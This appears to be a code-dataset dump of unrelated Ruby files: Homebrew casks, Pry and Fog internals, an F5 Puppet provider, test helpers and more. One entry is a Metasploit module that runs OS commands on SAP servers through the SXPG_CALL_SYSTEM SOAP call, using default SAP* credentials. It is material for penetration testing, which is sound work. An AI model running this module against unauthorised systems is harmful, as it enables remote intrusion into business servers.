hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
e94cc8a08b0a70655f312e741029372406ffc66e | 476 | cask "chirp" do
version "20210110"
sha256 "5297bafca608acc56c69146bb2a7e3d4f636c17b7f0c7bc97f3f751769bec6ac"
url "https://trac.chirp.danplanet.com/chirp_daily/LATEST/chirp-unified-daily-#{version}.app.zip"
appcast "https://trac.chirp.danplanet.com/chirp_daily/LATEST/SHA1SUM"
name "CHIRP"
desc "Tool for programming amateur radio"
homepage "https://chirp.danplanet.com/projects/chirp/wiki/Home"
depends_on cask: "kk7ds-python-runtime"
app "CHIRP.app"
end
| 31.733333 | 98 | 0.77521 |
f8346d2a74fa4072e7e739ea9ef995f8807a45cc | 624 | # vulkan-ruby 0.1.0
#
# => https://github.com/sinisterchipmunk/vulkan-ruby
#
# [NOTICE] This is an automatically generated file.
module Vulkan
VK_KHR_EXTERNAL_SEMAPHORE_SPEC_VERSION = 1 unless defined?(VK_KHR_EXTERNAL_SEMAPHORE_SPEC_VERSION)
VK_KHR_EXTERNAL_SEMAPHORE_EXTENSION_NAME = "VK_KHR_external_semaphore" unless defined?(VK_KHR_EXTERNAL_SEMAPHORE_EXTENSION_NAME)
VK_STRUCTURE_TYPE_EXPORT_SEMAPHORE_CREATE_INFO_KHR = 1000077000 unless defined?(VK_STRUCTURE_TYPE_EXPORT_SEMAPHORE_CREATE_INFO_KHR)
VK_SEMAPHORE_IMPORT_TEMPORARY_BIT_KHR = 1000077000 unless defined?(VK_SEMAPHORE_IMPORT_TEMPORARY_BIT_KHR)
end
| 48 | 133 | 0.858974 |
f8bac37ffc5e65aac88b7d88a9b33b5eb5d3e277 | 395 | puts 'A = '
A = 1 #переменные
B = 1 #переменные
C = -6 #переменные
D = B*B - 4*A*C
if (D == 0)
puts 'x = '+(-B/2/A).to_s
else
if (D > 0)
puts 'x1 = '+((-B-Math.sqrt(D))/2/A).to_s
puts 'x2 = '+((-B+Math.sqrt(D))/2/A).to_s
else
puts 'x1 = ('+(-B/2/A).to_s+','+(Math.sqrt(-D)/2/A).to_s+')'
puts 'x2 = ('+(-B/2/A).to_s+','+(-Math.sqrt(-D)/2/A).to_s+')'
end
end
| 20.789474 | 67 | 0.458228 |
62e5c21f078a7ded07488b63dcf4f450ed867020 | 3,492 | module Fog
module Compute
class Cloudstack
class Project < Fog::Model
identity :id, :aliases => 'id'
attribute :name, :aliases => 'name'
attribute :display_text, :aliases => 'displaytext'
attribute :domain_id, :aliases => 'domainid'
attribute :domain, :aliases => 'domain'
attribute :account, :aliases => 'account'
attribute :state, :aliases => 'state'
attribute :tags, :aliases => 'tags'
attribute :network_limit, :aliases => 'networklimit'
attribute :network_total, :aliases => 'networktotal', :type => :integer
attribute :network_available, :aliases => 'networkavailable'
attribute :vpc_limit, :aliases => 'vpclimit'
attribute :vpc_total, :aliases => 'vpctotal', :type => :integer
attribute :vpc_available, :aliases => 'vpcavailable'
attribute :cpu_limit, :aliases => 'cpulimit'
attribute :cpu_total, :aliases => 'cputotal', :type => :integer
attribute :cpu_available, :aliases => 'cpuavailable'
attribute :memory_limit, :aliases => 'memorylimit'
attribute :memory_total, :aliases => 'memorytotal', :type => :integer
attribute :memory_available, :aliases => 'memoryavailable'
attribute :primary_storage_limit, :aliases => 'primarystoragelimit'
attribute :primary_storage_total, :aliases => 'primarystoragetotal', :type => :integer
attribute :primary_storage_available, :aliases => 'primarystorageavailable'
attribute :secondary_storage_limit, :aliases => 'secondarystoragelimit'
attribute :secondary_storage_total, :aliases => 'secondarystoragetotal', :type => :integer
attribute :secondary_storage_available, :aliases => 'secondarystorageavailable'
attribute :vm_limit, :aliases => 'vmlimit'
attribute :vm_total, :aliases => 'vmtotal', :type => :integer
attribute :vm_available, :aliases => 'vmavailable'
attribute :ip_limit, :aliases => 'iplimit'
attribute :ip_total, :aliases => 'iptotal', :type => :integer
attribute :ip_available, :aliases => 'ipavailable'
attribute :volume_limit, :aliases => 'volumelimit'
attribute :volume_total, :aliases => 'volumetotal', :type => :integer
attribute :volume_available, :aliases => 'volumeavailable'
attribute :snapshot_limit, :aliases => 'snapshotlimit'
attribute :snapshot_total, :aliases => 'snapshottotal', :type => :integer
attribute :snapshot_available, :aliases => 'snapshotavailable'
attribute :template_limit, :aliases => 'templatelimit'
attribute :template_total, :aliases => 'templatetotal', :type => :integer
attribute :template_available, :aliases => 'templateavailable'
def save
raise Fog::Errors::Error.new('Creating a project is not supported')
end
def destroy
raise Fog::Errors::Error.new('Destroying a project is not supported')
end
end # Project
end # Cloudstack
end # Compute
end # Fog
| 59.186441 | 102 | 0.573883 |
e8724771266410fffc66f0d15dae02f4fa1fd644 | 1,076 | class Lego < Formula
desc "Let's Encrypt client"
homepage "https://go-acme.github.io/lego/"
url "https://github.com/go-acme/lego/archive/v2.6.0.tar.gz"
sha256 "1abba13871f58fe483a3d4ac3900d44cddeacfc3dfe9fae2d96e45a9a39e7ce7"
bottle do
cellar :any_skip_relocation
sha256 "f27e199f6740cfd1539d7065730c7cd3c2d5f1b3280d59e79a21f9ec84a88c2b" => :mojave
sha256 "099303a2875e0b5f767edaacf6d819595f5760741758434a62ad2a4437513de0" => :high_sierra
sha256 "9c649b86821705cd55cf0a6f9ec32adff17c76b793ff4d35798febc706e66e42" => :sierra
sha256 "4194ce0655424c6e40b5c66160f1ad899b7ed34e20f6f8332e6124d75fdf9f7c" => :x86_64_linux
end
depends_on "go" => :build
def install
ENV["GOPATH"] = buildpath
(buildpath/"src/github.com/go-acme/lego").install buildpath.children
cd "src/github.com/go-acme/lego/cmd/lego" do
system "go", "build", "-o", bin/"lego", "-ldflags",
"-X main.version=#{version}"
prefix.install_metafiles
end
end
test do
assert_match version.to_s, shell_output("#{bin}/lego -v")
end
end
| 34.709677 | 94 | 0.739777 |
01231d91142c16c002cd7d65db41d5f48f0a0d48 | 5,449 | # (C) John Mair (banisterfiend) 2015
# MIT License
#
require 'pp'
require 'pry/input_lock'
require 'pry/exceptions'
require 'pry/helpers/base_helpers'
require 'pry/hooks'
require 'forwardable'
class Pry
# The default hooks - display messages when beginning and ending Pry sessions.
DEFAULT_HOOKS = Pry::Hooks.new.add_hook(:before_session, :default) do |out, target, _pry_|
next if _pry_.quiet?
_pry_.run_command("whereami --quiet")
end
# The default print
DEFAULT_PRINT = proc do |output, value, _pry_|
_pry_.pager.open do |pager|
pager.print _pry_.config.output_prefix
Pry::ColorPrinter.pp(value, pager, Pry::Terminal.width! - 1)
end
end
# may be convenient when working with enormous objects and
# pretty_print is too slow
SIMPLE_PRINT = proc do |output, value|
begin
output.puts value.inspect
rescue RescuableException
output.puts "unknown"
end
end
# useful when playing with truly enormous objects
CLIPPED_PRINT = proc do |output, value|
output.puts Pry.view_clip(value, id: true)
end
# Will only show the first line of the backtrace
DEFAULT_EXCEPTION_HANDLER = proc do |output, exception, _|
if UserError === exception && SyntaxError === exception
output.puts "SyntaxError: #{exception.message.sub(/.*syntax error, */m, '')}"
else
output.puts "#{exception.class}: #{exception.message}"
output.puts "from #{exception.backtrace.first}"
end
end
DEFAULT_PROMPT_NAME = 'pry'
# The default prompt; includes the target and nesting level
DEFAULT_PROMPT = [
proc { |target_self, nest_level, pry|
"[#{pry.input_array.size}] #{pry.config.prompt_name}(#{Pry.view_clip(target_self)})#{":#{nest_level}" unless nest_level.zero?}> "
},
proc { |target_self, nest_level, pry|
"[#{pry.input_array.size}] #{pry.config.prompt_name}(#{Pry.view_clip(target_self)})#{":#{nest_level}" unless nest_level.zero?}* "
}
]
DEFAULT_PROMPT_SAFE_OBJECTS = [String, Numeric, Symbol, nil, true, false]
# A simple prompt - doesn't display target or nesting level
SIMPLE_PROMPT = [proc { ">> " }, proc { " | " }]
NO_PROMPT = [proc { '' }, proc { '' }]
SHELL_PROMPT = [
proc { |target_self, _, _pry_| "#{_pry_.config.prompt_name} #{Pry.view_clip(target_self)}:#{Dir.pwd} $ " },
proc { |target_self, _, _pry_| "#{_pry_.config.prompt_name} #{Pry.view_clip(target_self)}:#{Dir.pwd} * " }
]
# A prompt that includes the full object path as well as
# input/output (_in_ and _out_) information. Good for navigation.
NAV_PROMPT = [
proc do |_, _, _pry_|
tree = _pry_.binding_stack.map { |b| Pry.view_clip(b.eval("self")) }.join " / "
"[#{_pry_.input_array.count}] (#{_pry_.config.prompt_name}) #{tree}: #{_pry_.binding_stack.size - 1}> "
end,
proc do |_, _, _pry_|
tree = _pry_.binding_stack.map { |b| Pry.view_clip(b.eval("self")) }.join " / "
"[#{_pry_.input_array.count}] (#{ _pry_.config.prompt_name}) #{tree}: #{_pry_.binding_stack.size - 1}* "
end,
]
# Deal with the ^D key being pressed. Different behaviour in different cases:
# 1. In an expression behave like `!` command.
# 2. At top-level session behave like `exit` command.
# 3. In a nested session behave like `cd ..`.
DEFAULT_CONTROL_D_HANDLER = proc do |eval_string, _pry_|
if !eval_string.empty?
eval_string.replace('') # Clear input buffer.
elsif _pry_.binding_stack.one?
_pry_.binding_stack.clear
throw(:breakout)
else
# Otherwise, saves current binding stack as old stack and pops last
# binding out of binding stack (the old stack still has that binding).
_pry_.command_state["cd"] ||= Pry::Config.from_hash({}) # FIXME
_pry_.command_state['cd'].old_stack = _pry_.binding_stack.dup
_pry_.binding_stack.pop
end
end
DEFAULT_SYSTEM = proc do |output, cmd, _|
if !system(cmd)
output.puts "Error: there was a problem executing system command: #{cmd}"
end
end
# Store the current working directory. This allows show-source etc. to work if
# your process has changed directory since boot. [Issue #675]
INITIAL_PWD = Dir.pwd
# This is to keep from breaking under Rails 3.2 for people who are doing that
# IRB = Pry thing.
module ExtendCommandBundle; end
end
require 'method_source'
require 'shellwords'
require 'stringio'
require 'strscan'
require 'coderay'
require 'slop'
require 'rbconfig'
require 'tempfile'
require 'pathname'
require 'pry/version'
require 'pry/repl'
require 'pry/rbx_path'
require 'pry/code'
require 'pry/history_array'
require 'pry/helpers'
require 'pry/code_object'
require 'pry/method'
require 'pry/wrapped_module'
require 'pry/history'
require 'pry/command'
require 'pry/command_set'
require 'pry/commands'
require 'pry/plugins'
require 'pry/core_extensions'
require 'pry/pry_class'
require 'pry/pry_instance'
require 'pry/cli'
require 'pry/color_printer'
require 'pry/pager'
require 'pry/terminal'
require 'pry/editor'
require 'pry/rubygem'
require "pry/indent"
require "pry/last_exception"
require "pry/prompt"
require "pry/inspector"
require 'pry/object_path'
require 'pry/output'
| 33.429448 | 151 | 0.658286 |
e296ab90da8595a86d7cef063a0cdfed4651ef7a | 1,021 | require 'net/http'
require 'net/https'
require 'json'
module Benchmark
module IPS
class Share
DEFAULT_URL = "https://benchmark.fyi"
def initialize(report, job)
@report = report
@job = job
end
def share
base = (ENV['SHARE_URL'] || DEFAULT_URL)
url = URI(File.join(base, "reports"))
req = Net::HTTP::Post.new(url)
data = {
"entries" => @report.data,
"options" => {
"compare" => @job.compare?
}
}
req.body = JSON.generate(data)
http = Net::HTTP.new(url.hostname, url.port)
if url.scheme == "https"
http.use_ssl = true
http.ssl_version = :TLSv1_2
end
res = http.start do |h|
h.request req
end
if Net::HTTPOK === res
data = JSON.parse res.body
puts "Shared at: #{File.join(base, data["id"])}"
else
puts "Error sharing report"
end
end
end
end
end
| 20.836735 | 58 | 0.504407 |
08ca89fe4ad04da20640a545c1b28073d511f084 | 42 | module ActiveType
VERSION = '1.5.0'
end
| 10.5 | 19 | 0.690476 |
398a81de0d1f133cfdc4108a444511606ce2d2d7 | 45 | module GistGenerator
VERSION = "0.1.1"
end
| 11.25 | 20 | 0.711111 |
1d7c1e8ac904585e11bdc0008366226a659178b7 | 115 | # -*- coding:binary -*-
module MeterpreterBinaries
VERSION = '0.0.23'
def self.version
VERSION
end
end
| 11.5 | 26 | 0.652174 |
7a12956968b589620cb8c68a417508c86ad52a30 | 9,720 | require 'puppet/provider/f5'
Puppet::Type.type(:f5_virtualserver).provide(:f5_virtualserver, :parent => Puppet::Provider::F5) do
@doc = "Manages f5 device"
confine :feature => :posix
defaultfor :feature => :posix
@priority = []
def self.wsdl
'LocalLB.VirtualServer'
end
def wsdl
self.class.wsdl
end
def self.instances
transport[wsdl].get_list.collect do |name|
new(:name => name)
end
end
methods = [ 'cmp_enabled_state',
'connection_mirror_state',
'default_pool_name',
'enabled_state',
'fallback_persistence_profile',
'last_hop_pool',
'nat64_state',
'protocol',
'rate_class',
'snat_pool',
'source_port_behavior',
'translate_address_state',
'translate_port_state',
'type',
'wildmask']
methods.each do |method|
define_method(method.to_sym) do
if transport[wsdl].respond_to?("get_#{method}".to_sym)
transport[wsdl].send("get_#{method}", resource[:name]).first.to_s
end
end
end
methods.each do |method|
define_method("#{method}=") do |value|
if transport[wsdl].respond_to?("set_#{method}".to_sym)
transport[wsdl].send("set_#{method}", resource[:name], resource[method.to_sym])
end
end
end
def available_priority
@priority ||= transport[wsdl].get_rule(resource[:name]).first.collect {|p| p.priority}
list = @priority.sort
list.each_with_index do |val, i|
if val > i
@priority << i
return i
end
end
@priority << list.size
return list.size
end
def clone_pool
pool = {}
transport[wsdl].get_clone_pool(resource[:name]).first.each do |p|
pool[p.pool_name] = p.type
end
pool
end
def clone_pool=(value)
existing = clone_pool
new = resource[:clone_pool]
to_remove = []
to_add = []
(existing.keys - new.keys).each do |p|
to_remove << {'pool_name'=> p, 'type'=> existing[p]}
end
new.each do |k, v|
if ! existing.has_key?(k) then
to_add << {'pool_name'=> k, 'type'=> v.to_s}
elsif v != existing[k]
to_remove << {'pool_name'=> k, 'type'=> existing[k]}
to_add << {'pool_name' => k, 'type'=> v.to_s}
end
end
transport[wsdl].remove_clone_pool(resource[:name], [to_remove]) unless to_remove.empty?
transport[wsdl].add_clone_pool(resource[:name], [to_add]) unless to_add.empty?
end
def persistence_profile
profiles = {}
transport[wsdl].get_persistence_profile(resource[:name]).first.each do |p|
profiles[p.profile_name] = p.default_profile
end
profiles
end
def persistence_profile=(value)
existing = persistence_profile
new = resource[:persistence_profile]
to_remove = []
to_add = []
# The retrieved value is boolean, but we cannot set the value via boolean. So all deafult_profile value is converted to_s
# transport[wsdl].add_persistence_profile(resource[:name], [[{"default_profile"=>false, "profile_name"=>"my_cookie"}]])
# SOAP::FaultError: Cannot convert null value to a boolean.
# from
(existing.keys - new.keys).each do |p|
to_remove << {'profile_name'=> p, 'default_profile'=> existing[p].to_s}
end
# We don't have a modify API, so remove and re-add profile.
new.each do |k, v|
if ! existing.has_key?(k) then
to_add << {'profile_name'=> k, 'default_profile'=> v.to_s}
elsif v != existing[k]
to_remove << {'profile_name'=> k, 'default_profile'=> existing[k].to_s}
to_add << {'profile_name' => k, 'default_profile'=> v.to_s}
end
end
transport[wsdl].remove_persistence_profile(resource[:name], [to_remove]) unless to_remove.empty?
transport[wsdl].add_persistence_profile(resource[:name], [to_add]) unless to_add.empty?
end
def profile
profiles = {}
transport[wsdl].get_profile(resource[:name]).first.each do |p|
# For now suppress the default tcp profile. (see profile= comment)
profiles[p.profile_name] = p.profile_context #unless p.profile_name == 'tcp'
end
profiles
end
def profile=(value)
existing = self.profile
new = resource[:profile]
to_remove = []
to_add = []
(existing.keys - new.keys).each do |p|
to_remove << {'profile_name'=> p, 'profile_context'=> existing[p]}
end
new.each do |k, v|
if ! existing.has_key?(k) then
to_add << {'profile_name'=> k, 'profile_context'=> v} unless k=='tcp'
elsif v != existing[k]
to_remove << {'profile_name'=> k, 'profile_context'=> existing[k]}
to_add << {'profile_name' => k, 'profile_context'=> v} unless k=='tcp'
end
end
transport[wsdl].remove_profile(resource[:name], [to_remove]) unless to_remove.empty?
transport[wsdl].add_profile(resource[:name], [to_add]) unless to_add.empty?
end
def rule
# Because rule changes are not atomic, we are ignoring priority.
transport[wsdl].get_rule(resource[:name]).first.collect {|r| r.rule_name}
end
def rule=(value)
# Unfortunately iControl doesn't support modifying existing rule
# priorities. This means if we had a our rules set to {"ruleA" => 0, "ruleB"
# => 1} and we wanted to swap the priorities we have to remove all rules then
# add our new ones with a second call. This is _really_ bad because it means
# that there will be an brief outage while the rules are removed.
#
# The current approach is to handle priorities from inside the rules:
# http://devcentral.f5.com/wiki/iRules.priority.ashx
#
# That document shows priorities can be bound to events.
rules = {}
transport[wsdl].get_rule(resource[:name]).first.each do |r|
rules[r.rule_name] = r.priority
end
# Only add new rules and use first available priority.
to_add = []
(resource[:rule] - rules.keys).each do |r|
to_add << {"rule_name" => r, "priority" => available_priority}
end
transport[wsdl].add_rule(resource[:name], [to_add]) unless to_add.empty?
to_remove = []
(rules.keys - resource[:rule]).each do |r|
to_remove << {"rule_name" => r, "priority" => rules[r]}
end
transport[wsdl].remove_rule(resource[:name], [to_remove]) unless to_remove.empty?
end
def connection_limit
val = transport[wsdl].get_connection_limit(resource[:name]).first
to_64s(val)
end
def connection_limit=(value)
transport[wsdl].set_connection_limit(resource[:name], [ to_32h(resource[:connection_limit]) ] )
end
def gtm_score
val = transport[wsdl].get_gtm_score(resource[:name]).first
to_64s(val)
end
def gtm_score=(value)
transport[wsdl].set_gtm_score(resource[:name], [ to_32h(resource[:gtm_score]) ] )
end
def destination
destination = transport[wsdl].get_destination(resource[:name])
destination = destination.collect { |system|
"#{system.address}:#{system.port}"
}.sort.join(',')
end
def destination=(value)
destination = { :address => network_address(resource[:destination]),
:port => network_port(resource[:destination])}
transport[wsdl].set_destination(resource[:name], [ destination ])
end
def snat_type
transport[wsdl].get_snat_type(resource[:name]).first
end
def snat_type=(value)
case resource[:snat_type]
when 'SNAT_TYPE_AUTOMAP'
transport[wsdl].set_snat_automap(resource[:name])
when 'SNAT_TYPE_NONE'
transport[wsdl].set_snat_none(resource[:name])
when 'SNAT_TYPE_SNATPOOL'
transport[wsdl].set_snat_pool(resource[:name], resource[:snat_pool])
when 'SNAT_TYPE_TRANSLATION_ADDRESS'
Puppet.warning("Puppet::Provider::F5_VirtualServer: currently F5 API does not appear to support a way to set SNAT_TYPE_TRANSLATION_ADDRESS.")
end
end
def vlan
val = transport[wsdl].get_vlan(resource[:name]).first
{ 'state' => val.state, 'vlans' => val.vlans }
end
def vlan=(value)
transport[wsdl].set_vlan(resource[:name], [resource[:vlan]])
end
def create
Puppet.debug("Puppet::Provider::F5_VirtualServer: creating F5 virtual server #{resource[:name]}")
vs_definition = { :name => resource[:name],
:address => network_address(resource[:destination]),
:port => network_port(resource[:destination]),
:protocol => resource[:protocol] }
vs_wildmask = resource[:wildmask]
vs_resources = { :type => resource[:type] }
vs_profiles = []
transport[wsdl].create([vs_definition], vs_wildmask, [vs_resources], [vs_profiles])
# profile should be the first value added since some other settings require it.
methods = [ 'profile',
'clone_pool',
'cmp_enabled_state',
'connection_mirror_state',
'default_pool_name',
'enabled_state',
'fallback_persistence_profile',
'last_hop_pool',
'nat64_state',
'persistence_profile',
'rate_class',
'rule',
'snat_pool',
'snat_type',
'source_port_behavior',
'translate_address_state',
'translate_port_state',
'type',
'vlan' ]
methods.each do |method|
self.send("#{method}=", resource[method.to_sym]) if resource[method.to_sym]
end
end
def destroy
Puppet.debug("Puppet::Provider::F5_VirtualServer: destroying F5 virtual server #{resource[:name]}")
transport[wsdl].delete_virtual_server(resource[:name])
end
def exists?
transport[wsdl].get_list.include?(resource[:name])
end
end
| 31.054313 | 147 | 0.637963 |
263a001a6fe3f07ae41b7924b2cc3d18e782e1bc | 4,747 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution',
'Description' => %q{
This module makes use of the SXPG_CALL_SYSTEM Remote Function Call, through the
use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured in
the SM69 transaction.
},
'References' =>
[
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
],
'Author' =>
[
'Agnivesh Sathasivam',
'nmonkee'
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8000),
OptString.new('CLIENT', [true, 'SAP Client', '001']),
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
OptString.new('PASSWORD', [true, 'Password', '06071992']),
OptString.new('CMD', [true, 'SM69 command to be executed', nil]),
OptString.new('PARAM', [false, 'Additional parameters for the SM69 command', nil]),
OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']])
], self.class)
end
def run_host(ip)
os = datastore['OS']
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
data << '<env:Body>'
data << '<n1:SXPG_CALL_SYSTEM xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
if datastore['PARAM']
data << '<ADDITIONAL_PARAMETERS>' + datastore['PARAM'] + ' </ADDITIONAL_PARAMETERS>'
else
data << '<ADDITIONAL_PARAMETERS> </ADDITIONAL_PARAMETERS>'
end
data << '<COMMANDNAME>' + datastore['CMD'] + '</COMMANDNAME>'
data << '<OPERATINGSYSTEM>' + os +'</OPERATINGSYSTEM>'
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>'
data << '</n1:SXPG_CALL_SYSTEM>'
data << '</env:Body>'
data << '</env:Envelope>'
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
begin
res = send_request_raw({
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
'method' => 'POST',
'data' => data,
'headers' =>{
'Content-Length' => data.size.to_s,
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
'Authorization' => 'Basic ' + user_pass,
'Content-Type' => 'text/xml; charset=UTF-8'
}
}, 45)
if res and res.code != 500 and res.code != 200
# to do - implement error handlers for each status code, 404, 301, etc.
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
return
elsif res and res.body =~ /faultstring/
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
0.upto(error.length-1) do |i|
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
end
return
elsif res
print_status("[SAP] #{ip}:#{rport} - got response")
saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] SXPG_CALL_SYSTEM ",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>["Output",]
)
output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
for i in 0..output.length-1
saptbl << [output[i]]
end
print(saptbl.to_s)
else
print_error("[SAP] #{ip}:#{rport} - Unknown error")
return
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
return
end
end
end
| 37.674603 | 179 | 0.651359 |
ffc6d13af7d44b49eb57197fa10fbb1bca39c9ea | 130 | require 'spec_helper'
describe Labelito do
it 'has a version number' do
expect(Labelito::VERSION).not_to be nil
end
end
| 14.444444 | 43 | 0.730769 |
61c96db000fd2f94fb1267632cdafad5f766a1f1 | 410 | # frozen_string_literal: true
desc 'creates performance metrics records at set interval'
task record_metrics: :environment do
Bot.log('Due to throttling, recording metrics too frequently _may_ impact performance', nil, :warn)
Bot.log('Recording Metrics ...')
begin
PerformanceMetric.record
rescue StandardError => e
Bot.log("ERROR recording metrics: ", e, :error)
end
Bot.log('Done.')
end
| 29.285714 | 101 | 0.739024 |
ed8bd9a2f405a096ff1e655d9021fed183035875 | 740 | cask 'owasp-zap' do
version '2.7.0'
sha256 '6d163801edf2367506d47f9560d7610aba55a8149f09e2ab34000b597c09e2d0'
# github.com/zaproxy/zaproxy was verified as official when first introduced to the cask
url "https://github.com/zaproxy/zaproxy/releases/download/#{version}/ZAP_#{version}.dmg"
appcast 'https://github.com/zaproxy/zaproxy/releases.atom',
checkpoint: '1111d3882fbdee9e15b275e2ab3e08b0330eda4c0338190e4754d5856a6051e3'
name 'OWASP Zed Attack Proxy'
name 'ZAP'
homepage 'https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project'
app 'OWASP ZAP.app'
zap trash: [
'~/Library/Application Support/ZAP',
'~/Library/Preferences/org.zaproxy.zap.plist',
]
end
| 37 | 90 | 0.724324 |
ac1ff174a36621988a830b19b32752a73bbaa382 | 879 | require 'httpclient'
module Geminabox
class HttpClientAdapter < HttpAdapter
def get(*args)
http_client.get(*args)
end
def get_content(*args)
http_client.get_content(*args)
end
def post(*args)
http_client.post(*args)
end
def set_auth(url, username = nil, password = nil)
http_client.set_auth(url, username, password) if username or password
http_client.www_auth.basic_auth.challenge(url) # Workaround: https://github.com/nahi/httpclient/issues/63
http_client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE
http_client.send_timeout = 0
http_client.receive_timeout = 0
end
def http_client
@http_client ||= HTTPClient.new(ENV['http_proxy']).tap {|client|
client.transparent_gzip_decompression = true
client.keep_alive_timeout = 32 # sec
}
end
end
end
| 24.416667 | 111 | 0.684869 |
4a19dc70b13e6250b7b084e588cf4dbcce4007eb | 4,491 | # encoding: UTF-8
# frozen_string_literal: true
require 'base64'
require 'openssl'
# This file is copied to spec/ when you run 'rails generate rspec:install'
ENV['RAILS_ENV'] ||= 'test'
ENV['EVENT_API_JWT_PRIVATE_KEY'] ||= Base64.urlsafe_encode64(OpenSSL::PKey::RSA.generate(2048).to_pem)
ENV['PEATIO_JWT_PRIVATE_KEY'] ||= Base64.urlsafe_encode64(OpenSSL::PKey::RSA.generate(2048).to_pem)
ENV['WITHDRAW_ADMIN_APPROVE'] = 'true'
# We remove lib/peatio.rb from LOAD_PATH because of conflict with peatio gem.
# lib/peatio.rb is added to LOAD_PATH later after requiring gems.
# https://relishapp.com/rspec/rspec-core/v/2-6/docs/command-line
$LOAD_PATH.delete_if { |p| File.expand_path(p) == File.expand_path('./lib') }
require File.expand_path('../../config/environment', __FILE__)
require 'rspec/rails'
require 'rspec/retry'
require 'webmock/rspec'
require 'cancan/matchers'
WebMock.allow_net_connect!
# Requires supporting ruby files with custom matchers and macros, etc,
# in spec/support/ and its subdirectories.
Dir[Rails.root.join('spec/support/**/*.rb')].each { |f| require f }
# Checks for pending migrations before tests are run.
# If you are not using ActiveRecord, you can remove this line.
ActiveRecord::Migration.check_pending! if defined?(ActiveRecord::Migration)
Rails.application.load_tasks
RSpec.configure do |config|
# ## Mock Framework
#
# If you prefer to use mocha, flexmock or RR, uncomment the appropriate line:
#
config.mock_with :mocha
# config.mock_with :flexmock
# config.mock_with :rr
# Remove this line if you're not using ActiveRecord or ActiveRecord fixtures
# config.fixture_path = "#{::Rails.root}/spec/fixtures"
# If you're not using ActiveRecord, or you'd prefer not to run each of your
# examples within a transaction, remove the following line or assign false
# instead of true.
config.use_transactional_fixtures = false
# If true, the base class of anonymous controllers will be inferred
# automatically. This will be the default behavior in future versions of
# rspec-rails.
config.infer_base_class_for_anonymous_controllers = false
# Run specs in random order to surface order dependencies. If you find an
# order dependency and want to debug it, you can fix the order by providing
# the seed, which is printed after each run.
# --seed 1234
config.order = 'random'
config.filter_run_when_matching :focus
config.include FactoryBot::Syntax::Methods
config.include Rails.application.routes.url_helpers
# See https://github.com/DatabaseCleaner/database_cleaner#rspec-with-capybara-example
config.before(:suite) do
FileUtils.rm_rf(File.join(__dir__, 'tmp', 'cache'))
DatabaseCleaner.clean_with(:truncation)
end
config.before(:each) do
DatabaseCleaner.strategy = :transaction
end
config.before(:each, clean_database_with_truncation: true) do
DatabaseCleaner.strategy = :truncation, { only: %w[orders trades] }
end
config.append_after(:each) do
DatabaseCleaner.clean
end
config.before(:each) do
DatabaseCleaner.start
AMQP::Queue.stubs(:publish)
KlineDB.stubs(:kline).returns([])
Currency.any_instance.stubs(:price).returns(1.to_d)
%w[eth-kovan eth-rinkeby btc-testnet].each { |blockchain| FactoryBot.create(:blockchain, blockchain) }
%i[usd eur btc eth trst ring].each { |ccy| FactoryBot.create(:currency, ccy) }
%i[usd_network eur_network btc_network eth_network trst_network ring_network].each do |blockchain_currency|
FactoryBot.create(:blockchain_currency, blockchain_currency)
end
%i[ eth_deposit eth_hot eth_warm eth_fee
trst_deposit trst_hot
btc_hot btc_deposit ].each { |ccy| FactoryBot.create(:wallet, ccy) }
%i[btcusd btceth btceth_qe].each { |market| FactoryBot.create(:market, market) }
%w[101 102 201 202 211 212 301 302 401 402].each { |ac_code| FactoryBot.create(:operations_account, ac_code)}
FactoryBot.create(:trading_fee, market_id: :any, group: :any, maker: 0.0015, taker: 0.0015)
FactoryBot.create(:withdraw_limit)
end
config.after(:each) do
DatabaseCleaner.clean
end
config.verbose_retry = true
